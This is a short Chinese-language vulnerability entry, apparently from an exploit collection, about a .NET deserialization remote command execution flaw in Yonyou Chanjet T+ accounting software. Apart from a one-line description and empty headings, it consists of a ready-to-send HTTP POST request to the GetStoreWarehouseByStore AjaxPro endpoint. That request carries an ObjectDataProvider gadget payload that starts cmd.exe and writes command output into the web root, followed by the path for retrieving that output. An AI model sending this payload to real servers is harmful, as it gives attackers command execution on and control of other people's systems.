# 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞
# 漏洞描述
用友 畅捷通T+ GetStoreWarehouseByStore 存在 .net反序列化漏洞，导致远程命令执行，控制服务器
# 漏洞影响
# 网络测绘
# 漏洞复现
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验证POC
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Connection: close
Content-Length: 668
X-Ajaxpro-Method: GetStoreWarehouseByStore
Accept-Encoding: gzip
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo":{
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c whoami > C:/Progra~2/Chanjet/TPlusStd/WebSite/2RUsL6jgx9sGX4GItQBcVfxarBM.txt"
}
}
}
}
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/tplus/xxx.txt
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